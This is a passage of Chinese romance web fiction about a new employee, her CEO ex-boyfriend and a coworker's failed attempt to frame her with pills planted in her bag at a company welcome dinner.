“何止总部,傅今棠就差把她的心思怼到我眼珠子上来了。”他靠着沙发,抽起了烟来。
“你还说,你不想跟她吃饭不答应呗,偏偏放她鸽子,害我回去被她骂了一顿,说我跟你玩一块也不是什么好东西,呵,我可从来没放过她鸽子。”
“那天碰见江迟鹿了。”他低声回了一句。
周衍抬了下眉,“在傅今棠约你的饭店?”
见傅靳年点了下头,周衍感叹,“看来江迟鹿那位现男友还很有钱啊,你也知道的,傅今棠所到之处那是金碧辉煌,不奢侈的地方她不去。”
“......”傅靳年一下子不说话了。
难怪江迟鹿不理他。
她找了个有钱的男朋友,根本用不着理他了,呵。
他蹙着眉盯了周衍一眼,“你到底哪边的?”
“我就是实话实说而已。”
他笑了笑,“我还挺好奇这种爱一个人怎么着都忘不掉的感觉到底是什么感觉,在我看来,你简直跟被下毒了一样。”
男人声音沉冷,“谁说我还爱她的。”
周延嘴角扯出一记冷笑,“行行行,不爱了行吧?不爱了你大晚上来这喝酒,你爱我行了吧。”
“......她为什么不回我消息。”傅靳年抓着酒杯,“是太晚了睡觉了吗。”
周衍:“.......神经病。不过苏轻是怎么知道你前女友的事的?你当初不是瞒着所有人吗。”
他撩起眼皮,同周衍对视上,瞳色深沉,“是啊,她怎么知道的......”
“会不会是江迟鹿。”周衍刚说出口,被傅靳年看了一眼。
他扯了扯嘴角,“她现在生怕跟我扯上一丁点的关系。”
......
高楼大厦蒙在一层冷清的阳光中,这个月份的太阳没什么温度,来来往往的人依旧穿着大衣,戴着围巾。
江迟鹿拢了拢外套,打卡上班,打开手机看到上司昨晚发来的莫名其妙的消息。
她蹙着眉回复:
-不好意思傅总,昨晚我睡了,不过你说的这些跟工作好像无关。
她关掉手机,话上虽然冷漠,不过倒真想起小橘来了。
带回去收留了一晚后,她确实明白自己不是能抽出时间照顾小猫的人,又把小橘带回了学校,专门买了个窝给它在学校安家。
等有时间了回校看看。
“迟鹿。”组长在电梯处跟她打了个招呼,“今天晚上公司迎新聚餐哦......”
她凑到江迟鹿耳边,“你有没有什么才艺?到时候上场介绍,怎么也得唱个歌什么的。”
江迟鹿心里嘀咕,这到底是迎新还是迎旧啊,欢迎新人不应该让老员工来唱歌助兴吗。
这个表演才艺就不应该出现。
“哈哈,我上台讲冷笑话。”江迟鹿保持微笑。
组长邪笑,“讲你和傅总的故事?”
后背犹如攀爬上一条冰冷的毒蛇,江迟鹿呆愣地看过去,“什么我和傅总?”
第四十六章 给别人就给一包
她脑子里一瞬间就出现了傅靳年出现在自己的公寓的事情,难道是小麦说出去了?
组长眯眼笑了笑,跟她一起进了电梯,才凑到她耳边,“傅总前女友,是不是你?”
江迟鹿后退,看着她,“怎么可能是我,谁和你说的?”
“群里都在说怀疑是你,我们都听说了,在北城你被那个副院长欺负,傅总为了你跟副院长打架了。”
江迟鹿紧急咽下口水,“不是这样的,傅总会打副院长是因为傅总人好,就是公司任何一个人出现这种......”
组长打断她,“得了吧,我可不相信,傅总人再好,那也绝对能保持理智处理这件事,而不是一上去就打人。”
她眯眼笑着凑近江迟鹿,开口道:“我敢保证,傅总对你还余情未了,你努把力,嘶等等,我记得你有男朋友了,干脆把那个踢了选傅总吧。”
“组长......您饶了我吧。”
说话间到了部门,祁柏言看到她,拎着早餐袋递过来,“你还没吃吧,给你。”
江迟鹿还没接过来,往旁边一暼,果然就看到组长又用那种耐人寻味的眼神盯着她。
毕竟只是一份早餐,她不收反倒矫情,笑着接了过来,“谢谢祁组长。”
她打开自己的包,有来有往地递过去一个小零食——一包夹心糖。
两人都没注意到,透过两层玻璃门,在部长办公室里,傅靳年眼神紧紧盯着两人的互动。
部长站在旁边咽了咽口水,递过去咖啡,“傅总,这种小事您直接让助理跟我说一声就行,怎么还亲自跑一趟。”
傅靳年面色不变地接过咖啡,喝了一口,咖啡的苦涩充斥口腔。
他又想起江迟鹿刚刚递过去的那包糖。
给他的时候就只舍得给一颗,给别人就给一包。
一包有多少颗?
“傅,傅总......”
部长声音迟疑,抬手指了指,“咖啡流出来了。”
流出的咖啡缓缓滴在地上。
“不好意思。”他垂下眼,手腕动了动。
部长抬手接走了咖啡,递过去纸巾。
他一边擦着手一边出去。
眼神撇过祁柏言手里的那包糖。
他脚步慢悠悠的。
但由于现在还没正式到上班时间,办公室里就几个人,还都被江迟鹿和祁柏言吸引走了注意力。
于是都没注意到他们的总裁刻意地从部长办公室出来,又慢倍速地走到了电梯,按下楼层。
直到他进电梯都没有人往他的方向看一眼。
江迟鹿吃着祁柏言给的早餐,打开电脑,第一时间登录微信看八卦群里到底说了些什么。
她昨晚睡得早,谁能想到第二天一起来居然直接成了傅总的绯闻对象。
虽然是事实,但是她不想任何人提起这件事。
划拉到最上面,江迟鹿发现最开始提出来的又是这个财务部的小宋。
恐怕从一开始传出傅总有个前女友就是为了不惹人眼球地扯出这件事。
这件事现在还处于八卦状态,但要是真落实了,江迟鹿别想好好度过自己的上班时间了。
江迟鹿想到晚上的迎新会,新人要上台发言.......
她正好可以利用这个时间给自己澄清。
一般来说这种小聚会总裁一般都不会去,就各部门部长会到。
.......
晚上,江迟鹿在聚会看到傅靳年时,真想一头撞死。
他一个总裁到底来这做什么。
傅靳年的目光也正巧看了过来,只是轻描淡写扫了一眼,很快又挪开了。
江迟鹿深吸了一口气,走过去,笑着跟同事打招呼。
小麦最先走到她旁边,“你怎么穿这一身。”
江迟鹿身上还是工作时穿的那身普通大衣,里面是黑色针织v领的贴身毛衣,直筒牛仔裤,干净利落。
但是来这的人大多都换上了好看的休闲服,尤其是需要上台的新人们,导致她这一身衣服就不够看了。
江迟鹿笑了笑,“我要是还穿好看点,简直要成公司的八卦主要对象了。”
小麦嘿嘿笑了一声,“那你跟.......”
“停停停,不用问了,假的。”
小麦瘪着嘴做了一个鬼脸,“不信。”
“傅总,真的没想到您也会来这一次的聚会。”部长是个中年男人,笑着给傅靳年敬酒,“您要是喝不惯酒,以水代酒就行。”
说完还给傅靳年倒了一杯饮料。
可以说是十分体贴了,难怪人家当部长呢。
江迟鹿和小麦坐在最尾端的位置。
他们这些小人物自然是坐不到傅靳年旁边去的。
这样也好,江迟鹿要是真在傅靳年的眼皮子底下,估计吃饭都吃不好了。
这一场聚餐订的一家米其林餐厅,风格上流有格调,在露台上,还能看着城市夜景。
她刚好坐在栏杆角落的地方,虽然对于整个聚会来说是不起眼的位置,却能看到很好的风景。
一边吃着料理,一边看外面的夜景,想着等会儿上台澄清的流程,心情还算不错。
直到旁边的空位来了人。
苏轻笑着看向她,“我来的有些晚了。”
江迟鹿点了点头,语气平淡,“也才刚开始。”
两人没过多交流,苏轻的目光放在了傅靳年的身上。
时不时会看一下江迟鹿。
她发现江迟鹿真的一次都没有往傅靳年那边看去。
她心里忍不住想,难道江迟鹿对傅靳年真的没有任何想法吗。
她不相信。
“好了,接下来的时间就交给我们的新人,你们谁先来?”
部长起身看向几个新人。
大家都没有主动站起来。
这时小宋开口:“苏轻先来吧,我们都还没准备好。”
苏轻腼腆的起身,“那就我先来吧,我也没准备什么......”
小宋笑着说:“轻轻不是古典舞还拿过奖吗?随便露一手都够我们看的了。”
江迟鹿看过去一眼,想起原著中女主还是为的男主学舞蹈。
唉,真是将暗恋做到了极致。
苏轻走到中间,露台中间有个台子,她走上前先进行自我介绍。
江迟鹿无聊地看着,要不是这次的迎新不能拒绝,她现在应该在家里躺在床上休息。
“迟鹿。”不知道哪里来的人站在江迟鹿面前,手里握着红酒杯,递过来要和她喝一杯的意思。
“宋冉,你叫我小宋就好了,我和你同一批进公司的,不过你对我应该没什么印象,我太普通了哈哈。”
“小宋......印象深刻呢哈哈。”她端起玻璃杯起身,和对方交谈了几句。
等她离开,江迟鹿放下酒杯,眼神扫过自己刚才挂在椅子上的包。
苏轻的表演终于结束了,陷入一阵激烈的掌心,接下来是大家的恭维,因为她背后的身份,就连平日冷眼待人的部长都是一副笑眯眯的样子。
江迟鹿手撑着脸,一只手伸进了自己挂在椅子上的包里,摩挲一番,果然摸到一个陌生的药瓶。
她扯了一下嘴唇,将药瓶塞进自己的大衣口袋。
第四十七章 初恋
苏轻鞠了一躬,手里拿着话筒,嘴角勾着淡淡的笑,“谢谢大家捧场,这段时间和大家相处工作下来,大家都很好,我们公司帅哥美女也很多,大家还特别有能力,尤其......迟鹿真的让我印象深刻。”
被点名的江迟鹿正夹着一块寿司往嘴里塞,动作顿时停下。
一抬眼,大家都在对她行注目礼。
她塞到一半的寿司往下塞也不是,往外吐也不是。
顿了一秒,她咬了一口,慢慢放下,一边咀嚼一边盯着苏轻,看她要说什么。
“这次跟迟鹿一起出差,遇到很多突发状况,但是每次看你都能很好的解决,你真的很厉害,又漂亮,是同期的优秀代表呢,下一个就由你来吧?”
江迟鹿心里把知道的脏话都骂了一遍。
就这么说自己是同期的优秀代表,把其他人往哪里放,她是领导吗就这么说。
她是大小姐当然没人敢记仇她。
将食物咽下去,她起身走过去,微笑着说,“您更优秀,舞蹈很好看,突然点名我下一个,我只能献丑活跃下气氛了。”
她走上前去,对比苏轻专业级别的舞蹈,她上去表演什么都得被对比一番。
江迟鹿站上台,若无其事地往自己座位扫了一眼。
自我介绍完之后,她笑着开口,“那我唱首歌吧。”
江迟鹿唱了一首碧波摇篮曲,她没有多大的功力,但是胜在音色好听,随便哼两句都很清凌悦耳。
傅靳年盯着台上垂着眼睫唱歌的女人,眉心皱起,眼神越来越冷。
这是她当初唱给他听的第一首歌,当初说只唱给他一个人听,以后也不会唱给别人听。
现在却唱给全公司的人听。
这个女人简直满口谎话。
“傅总,您尝尝这个......”旁边坐着的部长正用公筷给他夹菜,一时看到他黑沉的脸色,慌乱的停下筷子,不知道自己做错了什么。
“傅总,是饭菜不合口味吗?我让服务员来加菜?”
他摇了摇头,“不是。”
部长眼神转了转,“这首歌你不喜欢?”
他刚刚看到傅靳年似乎是盯着台上的眼神非常冷。
他立即开口:“这首歌确实不好听,老掉牙的一首歌了,也不知道这小江到底怎么想的,唱这么一首歌.......”
他没说完,就感觉傅总盯着自己的眼神比刚才还沉。
“不好听?”他目光像冰冷的剑,“老掉牙?”
部长僵硬坐在那,“仔细一听.....还是挺好听的。”
他错了,他就不该开口。
傅靳年收回视线,冷哼了一声,“确实难听又老掉牙。”
部长脸上彻底笑不出来了。
所以到底是要他夸这首歌还是贬这首歌。
部长本心倒是觉得这首歌不错,让他想起了自己的童年。
江迟鹿这首歌大家在小时候基本都听过,一时唤起了大家的回忆,不知不觉大家就跟着一起唱了。
确实如她刚开始所说,把氛围活跃起来了。
小宋看着台上的人,她笑着看向旁边的同事,开口道:“小江真漂亮啊,完全是能进娱乐圈的美女。”
“是啊,这张脸不进娱乐圈真是可惜了,不过进了也可惜,她工作能力很不错的。”
“关键是纯天然美女啊,还很松弛,经常素颜呢,也就这样的美女才能松弛到素颜上班了吧。”小宋托着脸感叹,“我还听说她完全都不用控制饮食什么的呢,真羡慕。”
“是吗?这体质也太让人羡慕了。”
在江迟鹿唱歌的时候。
酒店的一个服务员走了进来,提着两个大袋子。
“这是什么?”负责这次场合的部长起身过去。
那个服务员笑着开口:“这是江迟鹿小姐的男朋友订的点心,我帮忙送进来,他说祝大家今晚玩得开心。”
在听到江迟鹿那三个字的时候大家就抬起脸看了过去。
“江迟鹿的男朋友?”
“这也太好了吧,还给我们买这么贵的点心。”
小麦起身,过去帮忙散点心给每一个人,她笑着开口:“虽然平时迟鹿很少提她男朋友,但是她男朋友真的很好,两人还是初恋呢!她搬到宿舍那一天还给我送礼物了。”
“初恋?我的天呐。”有人看着手里精致的点心,“还有钱,这是什么人生赢家。”
祁柏言抬了眼,往江迟鹿那边扫了一眼,嘴角笑了笑,“多谢了。”
全场的人都扬着笑脸,唯独一个人黑着脸。
他就差把阴沉两个字刻在脑门,瞳仁盯着小麦,“初恋?”
咬牙切齿的两个字像是淬了毒。
小麦虽然有点怯这位老板,但还是照江迟鹿说的点点头,笑着说,“是啊,我听迟鹿说,两人很早就认识了,可以说是......青梅竹马。”
又是青梅竹马。
傅靳年将手里的点心放在桌上,他现在才知道,一个人气到极致的时候是发不出脾气的。
初恋,青梅竹马,现男友。
她不仅把他们那一段恋情否认了,甚至连他这个前男友的存在都抹灭了。
她的初恋明明就是他好吗!
这跟把人吃干抹净了不负责也就算了还和别人一起羞辱前任有什么区别!
小麦越过了傅靳年,继续往后面发着。
这下江迟鹿和傅靳年传出的绯闻自然没人信了。
小麦拍拍手笑着回了自己的位置。
江迟鹿也正好唱完了那首歌,要回到自己的位置。
在这短暂的安静时间,小端起酒杯往苏轻的方向走去,身体就撞倒了江迟鹿的椅子。
椅子倒了,江迟鹿挂在上面的包也跟着一起倒了。
江迟鹿还没走到自己的位置上,就看大家盯着地上摔了的包看。
小宋蹲下捡起了那个药瓶,脸上一副吃惊的表情。
“包里怎么有催吐的药?江迟鹿你在催吐吗?天呐,你都这么瘦了还催吐?”
小宋不大不小的声音,刚好让在场那一桌的人能听到。
第四十八章 你不想让大家知道你的初恋其实是我吧。
江迟鹿瞬间感觉无数道目光落在了自己身上。
她慌乱地走过去,“什么啊?”
茫然的对情况一无所知的样子。
小宋举起了手里的药瓶,“你包里掉出来的,催吐的药。”
旁边两个人嘀咕,“不是说吃不胖的吗,为什么还要催吐.......”
“一边当松弛美女一边催吐吗,真搞笑。”
“是挺漂亮的,也不至于弄这种人设吧,好虚伪做作。”
苏轻看向江迟鹿,“迟鹿.......你为什么要催吐啊?是生什么病了吗。”
小宋冷哼了一声,“什么生病了,我看她就是虚伪。”
小麦皱眉,“怎么可能,迟鹿什么时候虚伪了?你别随便抓着一点就燃。”
“那这是什么?大家都亲眼看见了。”
江迟鹿皱着眉,“什么催吐药,我从来没用过。”
苏轻站起身,“迟鹿,是从你包里掉出来的,你是不是生病了医生给你开的药啊?你不用瞒着我们,直接说出来就好了,你不是为了减肥催吐的吧?”
“......为了瘦催吐......这也太病态了。”旁边有人捂着嘴嘀咕了一声。
大家都还在闲言碎语地说江迟鹿为了自己松弛美女的人设背地催吐的事情,一道高大的黑影从旁边快步走过去。
站在了江迟鹿的面前,他语气发沉。
“你身体哪里不舒服?”
傅靳年握住了她的手腕,他盯着她的眼神又冷又沉,原本要跟她计较初恋的事情,这会儿也只顾得上她的身体到底出了什么状况。
苏轻在一旁,眼圈发红地看着傅靳年,她走上前,拉住了傅靳年,“靳年......你让迟鹿好好说,她看起来不像是生病了。”
江迟鹿盯着自己被他握着的手腕,愣了一会儿才想起来演戏,“我......我不知道,我没有催吐。”
小宋拿着药瓶走过去,“那这是什么?江迟鹿,大家都是新来的,把心思放到工作上不好吗,亏苏轻刚才还那么夸你,你来公司难道就是卖弄你的人设好钓男人吗?你男朋友知道吗?他刚刚还送来点心,呵呵。”
她抬起的眼睛一片雾气,眼睫慌乱的颤动,茫然摇头间,眼泪就落了下来,“我真的不知道这是什么.......”
傅靳年看着她可怜兮兮的样子,眯着眼打量,只一瞬间,紧绷的身体松懈了下来,气笑了一声。
他清楚她现在是在演戏,一想到自己刚才的着急,心里又气又怒。
周衍说的没错,他真的被江迟鹿玩成了疯子。
他松口她的手,手腕有些无力地垂了下去。
小宋更加斩钉截铁,“要不是我不小心撞到你的包,看到药瓶,恐怕我们还要被你虚伪的人设蒙骗。”
江迟鹿茫然摇头,眼泪还在继续流,“你到底在说什么,什么药.....”
她盯着药瓶,恍然一下,“哦,我想起来了,这是我男朋友给我放在包里的钙片啊。”
“什,什么钙片?”小宋看着手里的药瓶,松开手掌仔细看了眼,待看清楚了上面的字体,差点两眼一黑昏过去。
——这确实是补钙的。
江迟鹿从她手里将药瓶拿回来,“他个子长得高,开玩笑给我买了个钙片而已,我都忘记了包里还放着这东西......你怎么会误会是催吐的药,这上面不是清清楚楚写着补钙吗?”
她抬起手里的药瓶,将药标展示给所有人看,“我一下来,你们一群人的目光像钉子一样钉过来,我还以为我犯了什么滔天大错,吓得我都说不出话了,原来就是因为一瓶钙片。”
小麦站在江迟鹿身边,捂着胸口,“吓死我了,小宋刚刚那架势,我还以为你杀人了呢!真是吓死人了。”
小麦看向宋冉,“小宋,你怎么能那么大的反应,而且,再怎么眼花也不可能把钙片看成催吐吧,看你的样子,不知道的还以为你放了催吐药进去,才这么肯定呢。”
“你!”
这时,另外两人走出来,看向宋冉,“是啊,就是你和我们说江迟鹿不用控制饮食,让我们误会的。”
“你是故意那么说的吧,你为什么要这样啊。”
财务部的部长怒气冲冲走过去,“够了,宋冉!你闹什么呢!赶紧跟江迟鹿道歉。”
苏轻盯着那个药瓶,瞳色闪过惊茫,怎么会呢......
宋冉眼里泛起了泪水,摇头看向苏轻,“我.......”
苏轻往前走了一步,“宋冉!你为什么要污蔑江迟鹿?”
宋冉摇头,“我不是......”
所有人的目光又像刚才看向江迟鹿时一样看向宋冉。
宋冉张口想解释,看到苏轻冷然的眼神,一句话说不出口,她只能看向江迟鹿,红肿的眼皮下落出泪。
“对不起,是我,是我羡慕你才做出这样的事情坏你名声,都是我的错。”
她当着众人的面跪在江迟鹿面前涓然泪下,“对不起,求你原谅我好不好,是我......”
江迟鹿打断她,“羡慕我?你是说,你羡慕我一个跟你一样刚进公司拿实习工资的新人?”
这话一出,大家顿时想到另一位更值得羡慕的人——苏轻。
大家同样是新人,唯独苏轻是有钱的大小姐,就算羡慕也该羡慕这样的人啊。
苏轻慌乱地后退了一步,她皱眉看着宋冉,声音呐呐,“我......”
宋冉咬牙,“是我羡慕你漂亮,你比苏轻漂亮.......”
苏轻脸色一下子变成了猪肝色,难堪至极。
但也只有这么说,才能打消大家对她的怀疑。
她一时不知这场局害的是自己还是江迟鹿。
目光含着泪水看向傅靳年,刚才在众人都指责江迟鹿的时候,傅靳年却在关心江迟鹿。
而现在,他的目光仍然在江迟鹿身上.....
苏轻牙齿咬得肌肉发酸,低垂的眼皮泛起酸涩,眼泪撑不住地在眼眶里打转。
他到底还要喜欢别人多久......
宋冉被部长叫来的保安带了出去,她让部长丢尽了脸,看财务部部长的黑成一片的脸色就能猜到她的下场,毕竟启恒背靠傅氏集团,最不缺的就是新人。
苏轻恐怕是给够了好处才让对方被开除也不暴露出她。
江迟鹿觉得今天这晚没白费,解决了自己和傅靳年的谣言,又解决了自己人生的一个塌陷区。
因为宋冉一事,今天的迎新会结束得很快。
江迟鹿心情很不错的从餐厅出去,和小麦手挽手地赶去地铁站。
手机上突然收到一条消息。
-来b12停车场,你不想让大家知道你的初恋其实是我吧。
第四十九章 我们当初可没有说分手吧?
江迟鹿后槽牙磨得咯咯响,她吸了口气,笑着看向小麦,“不好意思我突然有点事情,你先回去吧,明天请你喝咖啡。”
小麦眯着眼笑,“不要咖啡,要八卦,你今天让我说那些是为了撇清和傅总的关系吧?所以你俩肯定有......嘿嘿。”
江迟鹿转过她的身体往前推了一下,“回去跟你说。”
“嘿嘿,拜。”
地下负一层停车场,灯光如昼。
一辆黑色豪车旁,男人身形慵懒地倚靠着,手插在裤袋里,大衣敞开,露出里面的白色衬衫,黑色西装裤,气质散漫矜贵。
电梯门一打开,江迟鹿看到的就是这样一幅场景。
她指尖在掌心滑动,心里吐槽虽然装逼但是上流。
缓步走过去,抬手挥了挥,“傅总,有何嘱咐?”
男人抬眼,面色如常,黑色的皮鞋向她靠近,停车场内阒寂无声,细微的脚步声也被放大,他身材覆盖下来的阴影足够将她包裹。
江迟鹿没有后退,挺胸抬头与他对视。
傅靳年将两人之间的距离拉近到能感受到彼此的呼吸,喉结滚了滚,出了声,“初恋是谁?”
江迟鹿眉梢一挑,轻咳道:“我还不是为了打消大家的怀疑,这件事情对你来说也不是什么好事。”
“是你觉得不是好事吧。”他垂下头,视线滑过她的眼睛,唇瓣,“为什么要哭。”
“啊?”
她愣了一下,地下室的温度偏低,她拢紧身上的外套,“就是吓哭了。”
“呵。”一记似嘲的轻笑从头顶下来。
她掀起眼睫,“不信算了。”
反正她是不会承认就是为了压迫部长把宋冉开除的。
她是惹不起女主,但也不是随便来个人都能欺负她的,惹不起女主就惹女主的狗腿子。
反正她也用不着巴结女主,她的存在本身对女主来说就是敌人。
傅靳年目光始终盯着她,在看到她耸着肩膀抱住自己,垂下的眼神又透露出委屈时,心里莫名牵动了一下。
真的是......吓哭的?
他手指动了动,刚要抬手。
看到江迟鹿吸了一下鼻子,“好冷啊,还有什么话快点说完我好走了。”
傅靳年:“......”
根本不是什么委屈,只是被冷到了才抱住自己。
他仰着头闭了下眼,够无语。
“不许不承认我的存在。”他的语气平淡,却不容置喙。
“你到底有什么毛病?我承不承认有什么区别?又不会改变什么。”她打开自己的包,拿出一个白色瓶子塞到他大衣口袋,“这个当做补偿行了吧。”
傅靳年摸出来一看——钙片。
一下子更是把他心里的火点燃了,语气激烈,“你把你男朋友调情塞到你包里的钙片给我当补偿?!”
好大一声质问。
像个目睹妻子出轨的丈夫。
江迟鹿被吓得后退了一步,“不是,什么调情?塞个钙片和调情有什么关系,你爱要不要,不要还给我。我明天重新给你买行了吧!再给你买点降压药。”
她把刚送出去的钙片抢回来,打了个喷嚏转身要走。
手腕被他握住,力度扯着她往后,没等她反应过来,傅靳年直接把人塞进副驾驶,并且系上安全带。
他眉眼冷沉,扫过江迟鹿不安分的手,开口道:“不想我明天把你和我的关系公布于众就安静待着。”
江迟鹿唇瓣微微张开,看着他关门绕到驾驶座。
她气笑:“我们有什么关系?”
傅靳年眯眼盯着她,“我们当初可没有说分手吧?意思是你现在还是我的女朋友,而你出轨了别的男人,你还想让那个男人代替我的初恋位置。”
“......你有病吗?还什么初恋位置,说的跟皇位一样,坐了能登基不成?”江迟鹿冷哼一声,“我们现在只是普通的前任关系,而且我希望你保密。”
“为什么?你跟你男朋友撒谎你没谈过?他有处女情结?”
这人说话跟以前一样犀利直接。
江迟鹿偏头看过去,他手指搭在方向盘上,正在倒车出库,问出那些话就像随口问了句吃饭没一样。
江迟鹿仰着脖子身体靠在座驾上,声音懒懒的,“只是不想让公司里的人知道而已,会很麻烦,上司的前女友.......呵呵,求您让我过个正常普通的员工生活。”
“我没要求你必须说初恋是傅靳年这五个字,但你怎么也不能说你现在的男朋友就是你的初恋吧?”
“为什么?你心里不乐意吗?你有初恋情结?”
“......”他停下手上动作,看着她,“王老师指导了你的论文a部分,张老师指导了你的论文b部分,你只在指导教师上写张老师的名字,合理吗?礼貌吗?对得起王老师吗?”
“噗——”她弯着腰,手拍着大腿笑。
笑够了才抬头,“对不起傅老师,是我不够尊重您。”
她翻了个白眼,“但是请问你指导了我什么?你这是混淆概念,初恋是指第一次动心喜欢的人,我第一次动心喜欢的人就是我男朋友啊,我说他是初恋有问题吗?”
两道视线无声的对峙。
空气陷入僵滞。
他眉心皱起,额角的青筋突突跳着,眼睑的地方还有些红,不知道是不是灯光的原因,看着有些泪光。
江迟鹿抿着唇,喉咙发不出声音。
她听着自己的呼吸声,伸手按在开门把手。
拉不开......
下一刻,车子驱动起来。
驾驶座的男人沉默着开车。
一路无言。
车停在小区外面,她拉开车门出去。
站在门口停顿了几秒,转过身,黑色的豪车已经远了,留下一阵冷风。
她抱着自己的胳膊,心里有些酸闷。
原著里还写他根本也没对自己动心,只是因为她死缠烂打无奈之下才随便谈了一场恋爱呢。
抬腿踢了一节空气,她拢紧自己的外套,打了个喷嚏。
“迟鹿!”不远处,小麦抱着什么跑过来。
走近了,她展开手里的毛绒披肩围到江迟鹿身上,“你终于回来了,好像又降温了,怎么样,我暖心吧!”
江迟鹿低头看了一眼身上的披肩,“你怎么知道我现在回来?”
“啊,我站在阳台看到你了,就下来了。”
小麦打了个哈欠,“好困啊,快点回去睡吧。”
江迟鹿点了点头,指腹捏着柔软的毛绒,抬头看了一眼黑黢黢的楼层。
第五十章 “她约我吃饭。”
翌日早晨,部长皱眉盯着手机走到江迟鹿工位旁。
“小江,你是不是惹了傅总啊?他发消息说换个人跟他汇报项目进度。”部长盯着她,眼神充满疑问。
江迟鹿从一堆数据中抬头,眼底是浓浓的黑眼圈,涣散的摇头,“我也不知道。”
部长看她一眼,在办公室巡逻一圈,叫小麦代替了江迟鹿的工作。
电梯门打开,苏轻从里面出来。
部长原本紧皱的眉头顿时舒展开,笑容满满地走过去,“小苏,我看你像是没休息好啊?要不要给你放假你好好休息一下,你看看这脸色,很苍白啊。”
“谢谢部长关心,我没事的。”苏轻笑了笑。
小麦歪头到江迟鹿耳边,“呵呵,我黑眼圈浓得能直接进动物园当熊猫了,也没看他要给放半天假。”
江迟鹿摸了下她的头,“别啊,你去当熊猫了,谁给我当室友?”
怕被老秃头发现,小麦碎嘴了一句就摆正态度工作,只是等部长一走,她打开了微信给江迟鹿发消息。
-我马上就要去跟傅总汇报了......你昨晚到底做什么了?傅总居然直接换了你。
-看我不顺眼吧。
-那我真希望他也看我不顺眼。
小麦抱着文件进了电梯。
过了十几分钟,电梯门再一次打开。
走在前面的人一身黑白西装,戴了一副金丝的眼镜,禁欲冷情,左边跟着助理,右边是抱着文件的小麦。
江迟鹿刚一回头,三人从旁边走过去,小麦回头,声音果断,“进实验室。”
她保存文档后起身,等办公室的其他人都跟上去,才跟到最后。
实验室里,傅靳年和祁柏言正在交谈,好像是有个新想法。
一番交谈后,给大家分配了任务。
江迟鹿有意地待在不起眼的角落。
而傅靳年也没有将目光往她身上多投放一秒,很快就出去了。
傅靳年和平时没什么两样,大家也没看出来气氛特别的差,等他走后,还有人盯着门口,嘴里念叨真帅。
江迟鹿负责在旁边记录数据,她努力看操控员的动作,一点一点学习。
时间不知不觉过去,中午十二点,组长整理了手上的仪器,看向祁柏言,“祁组长,收拾一下先吃饭吧。”
江迟鹿将数据本关上放在桌上,揉着手腕起身跟大家一起出去。
刚一出去,便看到苏轻正进电梯,里面还站着傅靳年。
电梯门很快关上,刚出来的人互相对视,很快炸开了锅。
“刚刚没看错吧?是傅总和苏轻。”
“两人这是出去约会?”
“也不奇怪吧,苏轻来这不就是为了傅总吗,听说两家要联姻。”
组长摇了摇头,“不过我怎么看,都感觉两人之间没什么暧昧的火花。”
已经吃完饭从食堂回来的部长听到组长的话,笑了一下,“难不成跟你有暧昧的火花?人家本来就是一对好吗,你们最好少动那种心思。”
一群人无语地进了电梯,都没回部长。
苏轻是在下午的上班时间回来的。
正好是两点。
脸上挂着轻松洋溢的笑容,看得出来心情很不错。
江迟鹿撑着有些疼的脑仁,正在看电脑屏幕上的3d视频,弹窗跳出群聊消息。
-回来了!看来真的是约会!
-我还是第一次看苏轻脸上笑意那么明显。
-跟喜欢的人约会能不开心吗。
她怕又错过什么对自己不利的消息就取消了屏蔽,一下午,这消息就没断过。
-你们快看苏轻发的朋友圈!
-她中午真的是跟傅总一起吃的饭。
小麦单独私聊了江迟鹿。
-你看苏轻的朋友圈了吗?
-没有。
-果然,你真的跟傅总有事。
江迟鹿偏过头看了一眼小麦,眼神明显在问为什么。
小麦一副我已经看透了表情,指尖噼里啪啦在键盘上敲字。
-要是你和傅总真的没什么,你怎么可能忍住不八卦,明明平时和我在宿舍也聊别人的八卦的。
江迟鹿歪了一下头。
打了个哈欠慢悠悠回复。
-我要工作了。
又是加班到凌晨的一晚上。
江迟鹿和小麦互相靠着彼此疲惫的身体打车回了宿舍。
江迟鹿洗漱完躺在床上,不知道是不是累过了头,脑子反而清醒。
一阵敲门声响起。
小麦探出脑袋,委屈巴巴的,“迟鹿.....我刚刚不小心把水撒在床上了,我能不能跟你睡一晚。”
江迟鹿掀开被子,拍了拍床。
她抱着自己的枕头猫猫祟祟地走过去。
“你居然没有倒头就睡。”
“十点的时候真的困成狗了,喝了一杯咖啡,现在很清醒。”
小麦笑着:“咖啡对你居然还有用,我从高中开始喝咖啡,一路喝到我硕士毕业,咖啡因对我已经完全失去提神的效果了。”
江迟鹿偏头,借着月光透入的光,盯着小麦的轮廓看。
“我以前也是。不过有个人出现后,我就很少喝咖啡了。”
“哈哈,能这么关着你的,是你男朋友吧?”
她沉默了一会儿,“不知道......”
一阵摩擦的窸窣声,小麦翻了个身,正对着她,“是,不是,怎么会不知道?”
“因为世界像个大骗子,你以为是的,但它说不是。”
明明那样热恋过的人,它却说他没有真心。
明明是彼此的初恋,它却说他没有动心。
“唉,遇到渣男了是这样,没事的。”她抱住江迟鹿,“不过你男朋友到底长什么样啊?我真好奇,你男朋友从来不来接你下班吗?他不在京市?”
“他......经常出差,很忙。”
“这样啊,那你有照片吗?给我看看嘛,是不是很帅啊?有傅总帅吗?”
“嗯,比他帅多了。”
“切,我不相信,很难找出比傅总还帅的了吧。你给我看照片。”
“他不喜欢拍照。”
“你不会是在跟明星谈恋爱吧?”
“......不是。”
小麦枕头旁边的手机亮了一下,她打着哈欠,拿起手机,“不看就不看,小气鬼.....苏轻给我发消息了。”
江迟鹿看过去,“什么?”
“她约我吃饭。”
第五十一章 让她离他远远的
“你真的没看苏轻发的朋友圈吗?”小麦戳了一下她的脸,“你怎么做到一点好奇心也没有的。”
江迟鹿闭着眼没说话。
其实她是看了的,在下午的时候。
不仅看了,还记得内容。
苏轻一共发了两张照片,一张在高级酒店包间吃饭的照片。
桌上双方的长辈都在,她甚至还看到了傅今棠的身影,虽然只露出了半截身体和手,但她认出来了她手上的表。
可以确定那就是傅家和苏家的人。
第二张是在绿色的高尔夫场地,一只阿拉斯加犬旁边站着穿西装的傅靳年,只是一个背影她也认出来了。
苏轻的文案写的是:
-我的狗比黏我还黏他,好在以后会有更多见面的时间。
“迟鹿,你说她约我吃饭是为了什么啊?”
“迟鹿?”
“啊?”
“你说我要不要去吃饭?我不想去,但是她以后真成了老板娘给我开除了怎么办,去吧,我完全不知道怎么应对她。”
“去吧,随机应变。”
......
三百多平方的平层,一整面落地窗映出城市夜晚的繁华,屋内安静而昏暗,只有一盏暖黄色的落地灯散着光,这灯因为老旧灯光还有些晃动。
从冰箱里拿出最后一个酥饼,他皱眉盯着看了许久。
